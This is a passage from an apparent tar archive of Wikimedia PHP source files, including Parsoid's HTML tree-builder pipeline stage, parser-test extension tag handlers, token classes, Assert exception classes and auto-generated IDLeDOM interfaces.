	 * @param int $id
	 */
	public function setPipelineId( int $id ): void {
		$this->pipelineId = $id;
	}

	/**
	 * @return int
	 */
	public function getPipelineId(): int {
		return $this->pipelineId;
	}

	/**
	 * @return Env
	 */
	public function getEnv(): Env {
		return $this->env;
	}

	/**
	 * Register a token transformer
	 * @param TokenHandler $t
	 */
	public function addTransformer( TokenHandler $t ): void {
		throw new \BadMethodCallException( "This pipeline stage doesn't accept token transformers." );
	}

	/**
	 * Resets any internal state for this pipeline stage.
	 * This is usually called so a cached pipeline can be reused.
	 *
	 * @param array $options
	 */
	public function resetState( array $options ): void {
		/* Default implementation */
		$this->atTopLevel = $options['toplevel'] ?? false;
	}

	/**
	 * Set frame on this pipeline stage
	 * @param Frame $frame Pipeline frame
	 */
	public function setFrame( Frame $frame ): void {
		$this->frame = $frame;
	}

	/**
	 * Set the source offsets for the content being processing by this pipeline
	 * This matters for when a substring of the top-level page is being processed
	 * in its own pipeline. This ensures that all source offsets assigned to tokens
	 * and DOM nodes in this stage are relative to the top-level page.
	 *
	 * @param SourceRange $so
	 */
	public function setSourceOffsets( SourceRange $so ): void {
		/* Default implementation: Do nothing */
	}

	/**
	 * Process wikitext, an array of tokens, or a DOM document depending on
	 * what pipeline stage this is. This will be entirety of the input that
	 * will be processed by this pipeline stage and no further input or an EOF
	 * signal will follow.
	 *
	 * @param string|array|Document $input
	 * @param ?array $options
	 *  - atTopLevel: (bool) Whether we are processing the top-level document
	 *  - sol: (bool) Whether input should be processed in start-of-line context
	 *  - chunky (bool) Whether we are processing the input chunkily.
	 * @return array|Document
	 */
	abstract public function process( $input, ?array $options = null );

	/**
	 * Process wikitext, an array of tokens, or a DOM document depending on
	 * what pipeline stage this is. This method will either directly or indirectly
	 * implement a generator that parses the input in chunks and yields output
	 * in chunks as well.
	 *
	 * Implementations that don't consume tokens (ex: Tokenizer, DOMPostProcessor)
	 * will provide specialized implementations that handle their input type.
	 *
	 * @param string|array|Document $input
	 * @param ?array $options
	 *  - atTopLevel: (bool) Whether we are processing the top-level document
	 *  - sol: (bool) Whether input should be processed in start-of-line context
	 * @return Generator
	 */
	abstract public function processChunkily(
		$input, ?array $options
	): Generator;
}
Wt2Html/TreeBuilder/TreeBuilderStage.php000066600000035256151335074240014201 0ustar00<?php
declare( strict_types = 1 );

/**
 * Front-end/Wrapper for a particular tree builder, in this case the
 * parser/tree builder from RemexHtml.  Feed it tokens  and it will build
 * you a DOM tree and emit an event.
 */

namespace Wikimedia\Parsoid\Wt2Html\TreeBuilder;

use Generator;
use Wikimedia\Parsoid\Config\Env;
use Wikimedia\Parsoid\DOM\Node;
use Wikimedia\Parsoid\NodeData\DataMw;
use Wikimedia\Parsoid\NodeData\DataParsoid;
use Wikimedia\Parsoid\NodeData\NodeData;
use Wikimedia\Parsoid\NodeData\TempData;
use Wikimedia\Parsoid\Tokens\CommentTk;
use Wikimedia\Parsoid\Tokens\EndTagTk;
use Wikimedia\Parsoid\Tokens\EOFTk;
use Wikimedia\Parsoid\Tokens\NlTk;
use Wikimedia\Parsoid\Tokens\SelfclosingTagTk;
use Wikimedia\Parsoid\Tokens\TagTk;
use Wikimedia\Parsoid\Tokens\Token;
use Wikimedia\Parsoid\Utils\DOMCompat;
use Wikimedia\Parsoid\Utils\DOMDataUtils;
use Wikimedia\Parsoid\Utils\DOMUtils;
use Wikimedia\Parsoid\Utils\PHPUtils;
use Wikimedia\Parsoid\Utils\TokenUtils;
use Wikimedia\Parsoid\Utils\Utils;
use Wikimedia\Parsoid\Utils\WTUtils;
use Wikimedia\Parsoid\Wt2Html\PipelineStage;

class TreeBuilderStage extends PipelineStage {
	/** @var int */
	private $tagId;

	/** @var bool */
	private $inTransclusion;

	/** @var int */
	private $tableDepth;

	/** @var RemexPipeline */
	private $remexPipeline;

	/** @var string|Token */
	private $lastToken;

	/** @var array<string|NlTk> */
	private $textContentBuffer;

	/** @var bool */
	private $needTransclusionShadow;

	/**
	 * @param Env $env
	 * @param array $options
	 * @param string $stageId
	 * @param ?PipelineStage $prevStage
	 */
	public function __construct(
		Env $env, array $options = [], string $stageId = "",
		?PipelineStage $prevStage = null
	) {
		parent::__construct( $env, $prevStage );

		// Reset variable state and set up the parser
		$this->resetState( [] );
	}

	/**
	 * @inheritDoc
	 */
	public function resetState( array $options ): void {
		parent::resetState( $options );

		// Reset vars
		$this->tagId = 1; // Assigned to start/self-closing tags
		$this->inTransclusion = false;

		/* --------------------------------------------------------------------
		 * Crude tracking of whether we are in a table
		 *
		 * The only requirement for correctness of detecting fostering content
		 * is that as long as there is an unclosed <table> tag, this value
		 * is positive.
		 *
		 * We can ensure that by making sure that independent of how many
		 * excess </table> tags we run into, this value is never negative.
		 *
		 * So, since this.tableDepth >= 0 always, whenever a <table> tag is seen,
		 * this.tableDepth >= 1 always, and our requirement is met.
		 * -------------------------------------------------------------------- */
		$this->tableDepth = 0;

		// We only need one for every run of strings and newline tokens.
		$this->needTransclusionShadow = false;

		$this->remexPipeline = $this->env->fetchRemexPipeline( $this->atTopLevel );
	}

	/**
	 * Process a chunk of tokens and feed it to the HTML5 tree builder.
	 * This doesn't return anything.
	 *
	 * @param array $tokens Array of tokens to process
	 */
	public function processChunk( array $tokens ): void {
		$s = null;
		$profile = null;
		if ( $this->env->profiling() ) {
			$profile = $this->env->getCurrentProfile();
			$s = microtime( true );
		}
		$n = count( $tokens );
		for ( $i = 0;  $i < $n;  $i++ ) {
			$this->processToken( $tokens[$i] );
		}
		if ( $profile ) {
			$profile->bumpTimeUse(
				'HTML5 TreeBuilder', 1000 * ( microtime( true ) - $s ), 'HTML5' );
		}
	}

	/**
	 * @return Node
	 */
	public function finalizeDOM(): Node {
		// Check if the EOFTk actually made it all the way through, and flag the
		// page where it did not!
		if ( isset( $this->lastToken ) && !( $this->lastToken instanceof EOFTk ) ) {
			$this->env->log(
				'error', 'EOFTk was lost in page',
				$this->env->getPageConfig()->getTitle()
			);
		}

		if ( $this->atTopLevel ) {
			$node = DOMCompat::getBody( $this->remexPipeline->doc );
		} else {
			// This is similar to DOMCompat::setInnerHTML() in that we can
			// consider it equivalent to the fragment parsing algorithm,
			// https://html.spec.whatwg.org/#html-fragment-parsing-algorithm
			$node = $this->env->topLevelDoc->createDocumentFragment();
			DOMUtils::migrateChildrenBetweenDocs(
				DOMCompat::getBody( $this->remexPipeline->doc ), $node
			);
		}

		return $node;
	}

	/**
	 * @param array $kvArr
	 * @return array
	 */
	private function kvArrToAttr( array $kvArr ): array {
		$attribs = [];
		foreach ( $kvArr as $kv ) {
			$attribs[$kv->k] = $kv->v;

		}
		return $attribs;
	}

	/**
	 * Keep this in sync with `DOMDataUtils.setNodeData()`
	 *
	 * @param array $attribs
	 * @param DataParsoid $dataParsoid
	 * @return array
	 */
	private function stashDataAttribs( array $attribs, DataParsoid $dataParsoid ): array {
		$data = new NodeData;
		$data->parsoid = $dataParsoid;
		if ( isset( $attribs['data-mw'] ) ) {
			$data->mw = new DataMw( (array)json_decode( $attribs['data-mw'] ) );
			unset( $attribs['data-mw'] );
		}
		// Store in the top level doc since we'll be importing the nodes after treebuilding
		$nodeId = DOMDataUtils::stashObjectInDoc( $this->env->topLevelDoc, $data );
		$attribs[DOMDataUtils::DATA_OBJECT_ATTR_NAME] = (string)$nodeId;
		return $attribs;
	}

	/**
	 * Adapt the token format to internal HTML tree builder format, call the actual
	 * html tree builder by emitting the token.
	 *
	 * @param Token|string $token
	 */
	public function processToken( $token ): void {
		if ( $this->pipelineId === 0 ) {
			if ( $this->env->bumpWt2HtmlResourceUse( 'token' ) === false ) {
				// `false` indicates that this bump pushed us over the threshold
				// We don't want to log every token above that, which would be `null`
				$this->env->log( 'warn', "wt2html: token limit exceeded" );
			}
		}

		$dispatcher = $this->remexPipeline->dispatcher;
		$attribs = isset( $token->attribs ) ? $this->kvArrToAttr( $token->attribs ) : [];
		$dataParsoid = $token->dataParsoid ?? new DataParsoid;
		$tmp = $dataParsoid->getTemp();

		if ( $this->inTransclusion ) {
			$tmp->setFlag( TempData::IN_TRANSCLUSION );
		}

		// Assign tagId to open/self-closing tags
		if ( $token instanceof TagTk || $token instanceof SelfclosingTagTk ) {
			$tmp->tagId = $this->tagId++;
		}

		$this->env->log( 'trace/html', $this->pipelineId, static function () use ( $token ) {
			return PHPUtils::jsonEncode( $token );
		} );

		// Store the last token
		$this->lastToken = $token;

		// If we encountered a non-string non-nl token, we have broken a run of
		// string+nl content.  If we need transclusion shadow protection, now's
		// the time to insert it.
		if (
			!is_string( $token ) && !( $token instanceof NlTk ) &&
			$this->needTransclusionShadow
		) {
			$this->needTransclusionShadow = false;
			// If inside a table and a transclusion, add a meta tag after every
			// text node so that we can detect fostered content that came from
			// a transclusion.
			$this->env->log( 'debug/html', $this->pipelineId, 'Inserting shadow transclusion meta' );
			$this->remexPipeline->insertExplicitStartTag( 'meta',
				[ 'typeof' => 'mw:TransclusionShadow' ],
				true );
		}

		if ( is_string( $token ) || $token instanceof NlTk ) {
			$data = $token instanceof NlTk ? "\n" : $token;
			$dispatcher->characters( $data, 0, strlen( $data ), 0, 0 );
			// NlTks are only fostered when accompanied by non-whitespace.
			// Safe to ignore.
			if (
				$this->inTransclusion && $this->tableDepth > 0 &&
				is_string( $token )
			) {
				$this->needTransclusionShadow = true;
			}
		} elseif ( $token instanceof TagTk ) {
			$tName = $token->getName();
			if ( $tName === 'table' ) {
				$this->tableDepth++;
				// Don't add foster box in transclusion
				// Avoids unnecessary insertions, the case where a table
				// doesn't have tsr info, and the messy unbalanced table case,
				// like the navbox
				if ( !$this->inTransclusion ) {
					$this->env->log( 'debug/html', $this->pipelineId, 'Inserting foster box meta' );
					$this->remexPipeline->insertImplicitStartTag(
						'table',
						[ 'typeof' => 'mw:FosterBox' ]
					);
				}
			}

			$node = $this->remexPipeline->insertExplicitStartTag(
				$tName,
				$this->stashDataAttribs( $attribs, $dataParsoid ),
				false
			);
			if ( !$node ) {
				$this->handleDeletedStartTag( $tName, $dataParsoid );
			}
		} elseif ( $token instanceof SelfclosingTagTk ) {
			$tName = $token->getName();

			// Re-expand an empty-line meta-token into its constituent comment + WS tokens
			if ( TokenUtils::isEmptyLineMetaToken( $token ) ) {
				$this->processChunk( $dataParsoid->tokens );
				return;
			}

			$wasInserted = false;

			// Transclusion metas are placeholders and are eliminated after template-wrapping.
			// Fostering them unnecessarily expands template ranges. Same for mw:Param metas.
			// Annotations are not fostered because the AnnotationBuilder handles its own
			// range expansion for metas that end up in fosterable positions.
			if ( $tName === 'meta' ) {
				$shouldNotFoster = TokenUtils::matchTypeOf(
					$token,
					'#^mw:(Transclusion|Annotation|Param)(/|$)#'
				);
				if ( $shouldNotFoster ) {
					// transclusions state
					$transType = TokenUtils::matchTypeOf( $token, '#^mw:Transclusion#' );
					if ( $transType ) {
						// typeof starts with mw:Transclusion
						$this->inTransclusion = ( $transType === 'mw:Transclusion' );
					}
					$this->remexPipeline->insertUnfosteredMeta(
						$this->stashDataAttribs( $attribs, $dataParsoid ) );
					$wasInserted = true;
				}
			}

			if ( !$wasInserted ) {
				$node = $this->remexPipeline->insertExplicitStartTag(
					$tName,
					$this->stashDataAttribs( $attribs, $dataParsoid ),
					false
				);
				if ( $node ) {
					if ( !Utils::isVoidElement( $tName ) ) {
						$this->remexPipeline->insertExplicitEndTag(
							$tName, ( $dataParsoid->stx ?? '' ) === 'html' );
					}
				} else {
					$this->insertPlaceholderMeta( $tName, $dataParsoid, true );
				}
			}
		} elseif ( $token instanceof EndTagTk ) {
			$tName = $token->getName();
			if ( $tName === 'table' && $this->tableDepth > 0 ) {
				$this->tableDepth--;
			}
			$node = $this->remexPipeline->insertExplicitEndTag(
				$tName,
				( $dataParsoid->stx ?? '' ) === 'html'
			);
			if ( $node ) {
				// Copy data attribs from the end tag to the element
				$nodeDP = DOMDataUtils::getDataParsoid( $node );
				if ( !WTUtils::hasLiteralHTMLMarker( $nodeDP )
					&& isset( $dataParsoid->endTagSrc )
				) {
					$nodeDP->endTagSrc = $dataParsoid->endTagSrc;
				}
				if ( !empty( $dataParsoid->stx ) ) {
					// FIXME: Not sure why we do this. For example,
					// with "{|\n|x\n</table>", why should the entire table
					// be marked HTML syntax? This is probably entirely
					// 2013-era historical stuff. Investigate & fix.
					//
					// Same behavior with '''foo</b>
					//
					// Transfer stx flag
					$nodeDP->stx = $dataParsoid->stx;
				}
				if ( isset( $dataParsoid->tsr ) ) {
					$nodeDP->getTemp()->endTSR = $dataParsoid->tsr;
				}
				if ( isset( $nodeDP->autoInsertedStartToken ) ) {
					$nodeDP->autoInsertedStart = true;
					unset( $nodeDP->autoInsertedStartToken );
				}
				if ( isset( $nodeDP->autoInsertedEndToken ) ) {
					$nodeDP->autoInsertedEnd = true;
					unset( $nodeDP->autoInsertedEndToken );
				}
			} else {
				// The tag was stripped. Insert an mw:Placeholder for round-tripping
				$this->insertPlaceholderMeta( $tName, $dataParsoid, false );
			}
		} elseif ( $token instanceof CommentTk ) {
			$dp = $token->dataParsoid;
			// @phan-suppress-next-line PhanUndeclaredProperty
			if ( isset( $dp->unclosedComment ) ) {
				// Add a marker meta tag to aid accurate DSR computation
				$attribs = [ 'typeof' => 'mw:Placeholder/UnclosedComment' ];
				$this->remexPipeline->insertUnfosteredMeta(
					$this->stashDataAttribs( $attribs, $dp ) );
			}
			$dispatcher->comment( $token->value, 0, 0 );
		} elseif ( $token instanceof EOFTk ) {
			$dispatcher->endDocument( 0 );
		} else {
			$errors = [
				'-------- Unhandled token ---------',
				'TYPE: ' . $token->getType(),
				'VAL : ' . PHPUtils::jsonEncode( $token )
			];
			$this->env->log( 'error', implode( "\n", $errors ) );
		}
	}

	/**
	 * Insert td/tr/th tag source or a placeholder meta
	 *
	 * @param string $name
	 * @param DataParsoid $dp
	 */
	private function handleDeletedStartTag( string $name, DataParsoid $dp ): void {
		if ( ( $dp->stx ?? null ) !== 'html' &&
			( $name === 'td' || $name === 'tr' || $name === 'th' )
		) {
			// A stripped wikitext-syntax table tag outside of a table. Re-insert the original
			// page source.
			if ( !empty( $dp->tsr ) &&
				$dp->tsr->start !== null && $dp->tsr->end !== null
			) {
				$origTxt = $dp->tsr->substr( $this->frame->getSrcText() );
			} else {
				switch ( $name ) {
					case 'td':
						$origTxt = '|';
						break;
					case 'tr':
						$origTxt = '|-';
						break;
					case 'th':
						$origTxt = '!';
						break;
					default:
						$origTxt = '';
						break;
				}
			}
			if ( $origTxt !== '' ) {
				$this->remexPipeline->dispatcher->characters( $origTxt, 0, strlen( $origTxt ), 0,
					0 );
			}
		} else {
			$this->insertPlaceholderMeta( $name, $dp, true );
		}
	}

	/**
	 * Insert a placeholder meta for a deleted start or end tag
	 *
	 * @param string $name
	 * @param DataParsoid $dp
	 * @param bool $isStart
	 */
	private function insertPlaceholderMeta(
		string $name, DataParsoid $dp, bool $isStart
	) {
		// If node is in a position where the placeholder node will get fostered
		// out, don't bother adding one since the browser and other compliant
		// clients will move the placeholder out of the table.
		if ( $this->remexPipeline->isFosterablePosition() ) {
			return;
		}

		$src = $dp->src ?? null;

		if ( !$src ) {
			if ( !empty( $dp->tsr ) ) {
				$src = $dp->tsr->substr( $this->frame->getSrcText() );
			} elseif ( WTUtils::hasLiteralHTMLMarker( $dp ) ) {
				if ( $isStart ) {
					$src = '<' . $name . '>';
				} else {
					$src = '</' . $name . '>';
				}
			}
		}

		if ( $src ) {
			$metaDP = new DataParsoid;
			$metaDP->src = $src;
			$metaDP->name = $name;
			$this->remexPipeline->insertUnfosteredMeta(
				$this->stashDataAttribs(
					[ 'typeof' => 'mw:Placeholder/StrippedTag' ],
					$metaDP
				)
			);
		}
	}

	/**
	 * @inheritDoc
	 */
	public function process( $input, array $opts = null ) {
		'@phan-var array $input'; // @var array $input
		$this->processChunk( $input );
		// @phan-suppress-next-line PhanTypeMismatchReturnSuperType
		return $this->finalizeDOM();
	}

	/**
	 * @inheritDoc
	 */
	public function processChunkily( $input, array $opts = null ): Generator {
		if ( $this->prevStage ) {
			foreach ( $this->prevStage->processChunkily( $input, $opts ) as $chunk ) {
				'@phan-var array $chunk'; // @var array $chunk
				$this->processChunk( $chunk );
			}
			yield $this->finalizeDOM();
		} else {
			yield $this->process( $input, $opts );
		}
	}
}
ParserTests/StyleTag.php000066600000001772151335074240011307 0ustar00<?php
declare( strict_types = 1 );

namespace Wikimedia\Parsoid\ParserTests;

use Wikimedia\Parsoid\Core\Sanitizer;
use Wikimedia\Parsoid\DOM\DocumentFragment;
use Wikimedia\Parsoid\Ext\ExtensionModule;
use Wikimedia\Parsoid\Ext\ExtensionTagHandler;
use Wikimedia\Parsoid\Ext\ParsoidExtensionAPI;
use Wikimedia\Parsoid\Utils\DOMCompat;

class StyleTag extends ExtensionTagHandler implements ExtensionModule {
	/** @inheritDoc */
	public function sourceToDom(
		ParsoidExtensionAPI $extApi, string $content, array $args
	): DocumentFragment {
		$domFragment = $extApi->htmlToDom( '' );
		$style = $domFragment->ownerDocument->createElement( 'style' );
		DOMCompat::setInnerHTML( $style, $content );
		Sanitizer::applySanitizedArgs( $extApi->getSiteConfig(), $style, $args );
		$domFragment->appendChild( $style );
		return $domFragment;
	}

	/** @inheritDoc */
	public function getConfig(): array {
		return [
			'name' => 'StyleTag',
			'tags' => [
				[ 'name' => 'style', 'handler' => self::class ],
			],
		];
	}
}
ParserTests/I18nTag.php000066600000002243151335074240010720 0ustar00<?php
declare( strict_types = 1 );

namespace Wikimedia\Parsoid\ParserTests;

use Wikimedia\Parsoid\DOM\DocumentFragment;
use Wikimedia\Parsoid\Ext\ExtensionModule;
use Wikimedia\Parsoid\Ext\ExtensionTagHandler;
use Wikimedia\Parsoid\Ext\ParsoidExtensionAPI;

class I18nTag extends ExtensionTagHandler implements ExtensionModule {
	/** @inheritDoc */
	public function sourceToDom(
		ParsoidExtensionAPI $extApi, string $content, array $args
	): DocumentFragment {
		$tag = $extApi->extTag;
		if ( $tag->getName() === 'i18ntag' ) {
			return $extApi->createPageContentI18nFragment( $content, null );
		} else {
			$frag = $extApi->getTopLevelDoc()->createDocumentFragment();
			$span = $extApi->getTopLevelDoc()->createElement( 'span' );
			$frag->appendChild( $span );
			$span->appendChild( $extApi->getTopLevelDoc()->createTextNode( $content ) );
			$extApi->addInterfaceI18nAttribute( $span, 'message', $args[0]->v, null );
			return $frag;
		}
	}

	/** @inheritDoc */
	public function getConfig(): array {
		return [
			'name' => 'I18nTag',
			'tags' => [
				[ 'name' => 'i18ntag', 'handler' => self::class ],
				[ 'name' => 'i18nattr', 'handler' => self::class ],
			],
		];
	}
}
DOM/DocumentType.php000066600000000207151335074240010323 0ustar00<?php

declare( strict_types = 1 );

namespace Wikimedia\Parsoid\DOM;

class DocumentType extends \DOMDocumentType implements Node {
}
Tokens/EndTagTk.php000066600000001550151335074240010172 0ustar00<?php
declare( strict_types = 1 );

namespace Wikimedia\Parsoid\Tokens;

use Wikimedia\Parsoid\NodeData\DataParsoid;

/**
 * Represents an HTML end tag token
 */
class EndTagTk extends Token {
	/** @var string Name of the end tag */
	private $name;

	/**
	 * @param string $name
	 * @param KV[] $attribs
	 * @param ?DataParsoid $dataParsoid
	 */
	public function __construct(
		string $name, array $attribs = [], ?DataParsoid $dataParsoid = null
	) {
		$this->name = $name;
		$this->attribs = $attribs;
		$this->dataParsoid = $dataParsoid ?? new DataParsoid;
	}

	/**
	 * @return string
	 */
	public function getName(): string {
		return $this->name;
	}

	/**
	 * @inheritDoc
	 */
	public function jsonSerialize(): array {
		return [
			'type' => $this->getType(),
			'name' => $this->name,
			'attribs' => $this->attribs,
			'dataParsoid' => $this->dataParsoid
		];
	}
}
Tokens/SelfclosingTagTk.php000066600000001600151335074240011730 0ustar00<?php
declare( strict_types = 1 );

namespace Wikimedia\Parsoid\Tokens;

use Wikimedia\Parsoid\NodeData\DataParsoid;

/**
 * Token for a self-closing tag (HTML or otherwise)
 */
class SelfclosingTagTk extends Token {
	/** @var string Name of the end tag */
	private $name;

	/**
	 * @param string $name
	 * @param KV[] $attribs
	 * @param ?DataParsoid $dataParsoid
	 */
	public function __construct(
		string $name, array $attribs = [], ?DataParsoid $dataParsoid = null
	) {
		$this->name = $name;
		$this->attribs = $attribs;
		$this->dataParsoid = $dataParsoid ?? new DataParsoid;
	}

	/**
	 * @return string
	 */
	public function getName(): string {
		return $this->name;
	}

	/**
	 * @inheritDoc
	 */
	public function jsonSerialize(): array {
		return [
			'type' => $this->getType(),
			'name' => $this->name,
			'attribs' => $this->attribs,
			'dataParsoid' => $this->dataParsoid
		];
	}
}
Tokens/TagTk.php000066600000001547151335074240007551 0ustar00<?php
declare( strict_types = 1 );

namespace Wikimedia\Parsoid\Tokens;

use Wikimedia\Parsoid\NodeData\DataParsoid;

/**
 * HTML tag token
 */
class TagTk extends Token {
	/** @var string Name of the end tag */
	private $name;

	/**
	 * @param string $name
	 * @param KV[] $attribs
	 * @param ?DataParsoid $dataParsoid data-parsoid object
	 */
	public function __construct(
		string $name, array $attribs = [], ?DataParsoid $dataParsoid = null
	) {
		$this->name = $name;
		$this->attribs = $attribs;
		$this->dataParsoid = $dataParsoid ?? new DataParsoid;
	}

	/**
	 * @return string
	 */
	public function getName(): string {
		return $this->name;
	}

	/**
	 * @inheritDoc
	 */
	public function jsonSerialize(): array {
		return [
			'type' => $this->getType(),
			'name' => $this->name,
			'attribs' => $this->attribs,
			'dataParsoid' => $this->dataParsoid
		];
	}
}
ParameterKeyTypeException.php000066600000001612151335075360012403 0ustar00<?php

namespace Wikimedia\Assert;

/**
 * Exception indicating that a parameter key type assertion failed.
 * This generally means a disagreement between the caller and the implementation of a function.
 *
 * @since 0.3.0
 *
 * @license MIT
 * @author Daniel Kinzler
 * @author Thiemo Kreuz
 * @copyright Wikimedia Deutschland e.V.
 */
class ParameterKeyTypeException extends ParameterAssertionException {

	/**
	 * @var string
	 */
	private $type;

	/**
	 * @param string $parameterName
	 * @param string $type
	 *
	 * @throws ParameterTypeException
	 */
	public function __construct( $parameterName, $type ) {
		if ( !is_string( $type ) ) {
			throw new ParameterTypeException( 'type', 'string' );
		}

		parent::__construct( $parameterName, "all elements must have $type keys" );

		$this->type = $type;
	}

	/**
	 * @return string
	 */
	public function getType(): string {
		return $this->type;
	}

}
ParameterTypeException.php000066600000001663151335075360011740 0ustar00<?php

namespace Wikimedia\Assert;

/**
 * Exception indicating that a parameter type assertion failed.
 * This generally means a disagreement between the caller and the implementation of a function.
 *
 * @since 0.1.0
 *
 * @license MIT
 * @author Daniel Kinzler
 * @copyright Wikimedia Deutschland e.V.
 */
class ParameterTypeException extends ParameterAssertionException {

	/**
	 * @var string
	 */
	private $parameterType;

	/**
	 * @param string $parameterName
	 * @param string $parameterType
	 *
	 * @throws ParameterTypeException
	 */
	public function __construct( $parameterName, $parameterType ) {
		if ( !is_string( $parameterType ) ) {
			throw new ParameterTypeException( 'parameterType', 'string' );
		}

		parent::__construct( $parameterName, "must be a $parameterType" );

		$this->parameterType = $parameterType;
	}

	/**
	 * @return string
	 */
	public function getParameterType(): string {
		return $this->parameterType;
	}

}
ParameterElementTypeException.php000066600000001671151335075360013251 0ustar00<?php

namespace Wikimedia\Assert;

/**
 * Exception indicating that a parameter element type assertion failed.
 * This generally means a disagreement between the caller and the implementation of a function.
 *
 * @since 0.1.0
 *
 * @license MIT
 * @author Daniel Kinzler
 * @copyright Wikimedia Deutschland e.V.
 */
class ParameterElementTypeException extends ParameterAssertionException {

	/**
	 * @var string
	 */
	private $elementType;

	/**
	 * @param string $parameterName
	 * @param string $elementType
	 *
	 * @throws ParameterTypeException
	 */
	public function __construct( $parameterName, $elementType ) {
		if ( !is_string( $elementType ) ) {
			throw new ParameterTypeException( 'elementType', 'string' );
		}

		parent::__construct( $parameterName, "all elements must be $elementType" );

		$this->elementType = $elementType;
	}

	/**
	 * @return string
	 */
	public function getElementType(): string {
		return $this->elementType;
	}

}
AddEventListenerOptions.php000066600000001431151335077250012044 0ustar00<?php

// AUTOMATICALLY GENERATED.  DO NOT EDIT.
// Use `composer build` to regenerate.

namespace Wikimedia\IDLeDOM;

/**
 * AddEventListenerOptions
 *
 * @see https://dom.spec.whatwg.org/#dictdef-addeventlisteneroptions
 *
 * @property bool $capture
 * @property bool $passive
 * @property bool $once
 * @property AbortSignal $signal
 * @phan-forbid-undeclared-magic-properties
 */
abstract class AddEventListenerOptions extends EventListenerOptions {
	// Dictionary type
	// Direct parent: EventListenerOptions

	use \Wikimedia\IDLeDOM\Helper\AddEventListenerOptions;

	/**
	 * @return bool
	 */
	abstract public function getPassive(): bool;

	/**
	 * @return bool
	 */
	abstract public function getOnce(): bool;

	/**
	 * @return AbortSignal
	 */
	abstract public function getSignal();

}
HTMLUListElement.php000066600000005152151335077250010333 0ustar00<?php

// AUTOMATICALLY GENERATED.  DO NOT EDIT.
// Use `composer build` to regenerate.

namespace Wikimedia\IDLeDOM;

/**
 * HTMLUListElement
 *
 * @see https://dom.spec.whatwg.org/#interface-htmlulistelement
 *
 * @property int $nodeType
 * @property string $nodeName
 * @property string $baseURI
 * @property bool $isConnected
 * @property Document|null $ownerDocument
 * @property Node|null $parentNode
 * @property Element|null $parentElement
 * @property NodeList $childNodes
 * @property Node|null $firstChild
 * @property Node|null $lastChild
 * @property Node|null $previousSibling
 * @property Node|null $nextSibling
 * @property ?string $nodeValue
 * @property ?string $textContent
 * @property string $innerHTML
 * @property Element|null $previousElementSibling
 * @property Element|null $nextElementSibling
 * @property HTMLCollection $children
 * @property Element|null $firstElementChild
 * @property Element|null $lastElementChild
 * @property int $childElementCount
 * @property HTMLSlotElement|null $assignedSlot
 * @property ?string $namespaceURI
 * @property ?string $prefix
 * @property string $localName
 * @property string $tagName
 * @property string $id
 * @property string $className
 * @property DOMTokenList $classList
 * @property string $slot
 * @property NamedNodeMap $attributes
 * @property ShadowRoot|null $shadowRoot
 * @property string $outerHTML
 * @property CSSStyleDeclaration $style
 * @property string $contentEditable
 * @property string $enterKeyHint
 * @property bool $isContentEditable
 * @property string $inputMode
 * @property EventHandlerNonNull|callable|null $onload
 * @property DOMStringMap $dataset
 * @property string $nonce
 * @property int $tabIndex
 * @property string $title
 * @property string $lang
 * @property bool $translate
 * @property string $dir
 * @property bool $hidden
 * @property string $accessKey
 * @property string $accessKeyLabel
 * @property bool $draggable
 * @property bool $spellcheck
 * @property string $autocapitalize
 * @property string $innerText
 * @property Element|null $offsetParent
 * @property int $offsetTop
 * @property int $offsetLeft
 * @property int $offsetWidth
 * @property int $offsetHeight
 * @property bool $compact
 * @property string $type
 * @phan-forbid-undeclared-magic-properties
 */
interface HTMLUListElement extends HTMLElement {
	// Direct parent: HTMLElement

	/**
	 * @return bool
	 */
	public function getCompact(): bool;

	/**
	 * @param bool $val
	 */
	public function setCompact( bool $val ): void;

	/**
	 * @return string
	 */
	public function getType(): string;

	/**
	 * @param string $val
	 */
	public function setType( string $val ): void;

}
EventListenerOptions.php000066600000000773151335077250011443 0ustar00<?php

// AUTOMATICALLY GENERATED.  DO NOT EDIT.
// Use `composer build` to regenerate.

namespace Wikimedia\IDLeDOM;

/**
 * EventListenerOptions
 *
 * @see https://dom.spec.whatwg.org/#dictdef-eventlisteneroptions
 *
 * @property bool $capture
 * @phan-forbid-undeclared-magic-properties
 */
abstract class EventListenerOptions implements \ArrayAccess {
	// Dictionary type

	use \Wikimedia\IDLeDOM\Helper\EventListenerOptions;

	/**
	 * @return bool
	 */
	abstract public function getCapture(): bool;

}
DocumentType.php000066600000002115151335077250007710 0ustar00<?php

// AUTOMATICALLY GENERATED.  DO NOT EDIT.
// Use `composer build` to regenerate.

namespace Wikimedia\IDLeDOM;

/**
 * DocumentType
 *
 * @see https://dom.spec.whatwg.org/#interface-documenttype
 *
 * @property int $nodeType
 * @property string $nodeName
 * @property string $baseURI
 * @property bool $isConnected
 * @property Document|null $ownerDocument
 * @property Node|null $parentNode
 * @property Element|null $parentElement
 * @property NodeList $childNodes
 * @property Node|null $firstChild
 * @property Node|null $lastChild
 * @property Node|null $previousSibling
 * @property Node|null $nextSibling
 * @property ?string $nodeValue
 * @property ?string $textContent
 * @property string $name
 * @property string $publicId
 * @property string $systemId
 * @phan-forbid-undeclared-magic-properties
 */
interface DocumentType extends Node, ChildNode {
	// Direct parent: Node

	/**
	 * @return string
	 */
	public function getName(): string;

	/**
	 * @return string
	 */
	public function getPublicId(): string;

	/**
	 * @return string
	 */
	public function getSystemId(): string;

}
HTMLDataListElement.php000066600000004604151335077250011001 0ustar00<?php

// AUTOMATICALLY GENERATED.  DO NOT EDIT.
// Use `composer build` to regenerate.

namespace Wikimedia\IDLeDOM;

/**
 * HTMLDataListElement
 *
 * @see https://dom.spec.whatwg.org/#interface-htmldatalistelement
 *
 * @property int $nodeType
 * @property string $nodeName
 * @property string $baseURI
 * @property bool $isConnected
 * @property Document|null $ownerDocument
 * @property Node|null $parentNode
 * @property Element|null $parentElement
 * @property NodeList $childNodes
 * @property Node|null $firstChild
 * @property Node|null $lastChild
 * @property Node|null $previousSibling
 * @property Node|null $nextSibling
 * @property ?string $nodeValue
 * @property ?string $textContent
 * @property string $innerHTML
 * @property Element|null $previousElementSibling
 * @property Element|null $nextElementSibling
 * @property HTMLCollection $children
 * @property Element|null $firstElementChild
 * @property Element|null $lastElementChild
 * @property int $childElementCount
 * @property HTMLSlotElement|null $assignedSlot
 * @property ?string $namespaceURI
 * @property ?string $prefix
 * @property string $localName
 * @property string $tagName
 * @property string $id
 * @property string $className
 * @property DOMTokenList $classList
 * @property string $slot
 * @property NamedNodeMap $attributes
 * @property ShadowRoot|null $shadowRoot
 * @property string $outerHTML
 * @property CSSStyleDeclaration $style
 * @property string $contentEditable
 * @property string $enterKeyHint
 * @property bool $isContentEditable
